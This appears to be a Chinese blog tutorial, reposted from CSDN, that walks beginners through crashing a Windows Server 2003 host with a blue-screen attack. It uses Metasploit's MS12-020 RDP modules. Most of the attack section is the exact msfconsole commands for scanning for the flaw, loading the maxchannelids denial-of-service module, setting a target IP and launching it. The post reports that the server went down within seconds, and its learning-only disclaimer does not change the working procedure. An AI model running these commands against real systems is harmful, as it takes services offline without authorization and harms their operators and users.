详解新手如何使用metasploit对win2003进行蓝屏攻击

在攻击之前首先需要几个必须条件:
1、目标机开放3389端口
2、目标机版本为windows2003(IIS6.0)
3、确保目标机与攻击机可以相互ping通

攻击流程:
一、信息收集
使用nmap进行扫描,查看开放的端口。
在这里插入图片描述
二、漏洞挖掘
首先运行MSF,查找有关MS12020的aux

msf > search ms12-020

在这里插入图片描述
这里有两个aux,第一个是攻击的aux,第二个是检测是否具有MS12020漏洞的aux,我们先使用第二个aux对目标机进行检测

msf > use auxiliary/scanner/rdp/ms12_020_check 

在这里插入图片描述
接下来配置参数:

msf > set rhosts

这里的rhosts是目标机的IP地址

配置完以后show options 这里已经配置完毕了

msf > show options

在这里插入图片描述

接下来exploit开始检测,这里检测出可以使用MS12020进行攻击。

msf > exploit

在这里插入图片描述

三、漏洞利用
接下来我们就可以使用第一个aux模块进行攻击了。

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids //选择攻击摩模块

在这里插入图片描述

msf > set rhost 192.168.48.10 //设置目标机IP地址

在这里插入图片描述

msf > show options //检查配置参数是否正确

在这里插入图片描述

msf > exploit //开始攻击

在这里插入图片描述
现在已经攻击成功了,我们来看一下效果如何。

在这里插入图片描述在这里插入图片描述
没几秒服务器就挂掉了,攻击成功,这种攻击相对于DDoS来说更直接也更简单。

注:本文仅供参考学习,请勿在网上搞破坏,触犯法律者应承担相应的法律责任!

发布了12 篇原创文章 · 获赞 13 · 访问量 2781

猜你喜欢

转载自blog.csdn.net/qq_43573676/article/details/90115141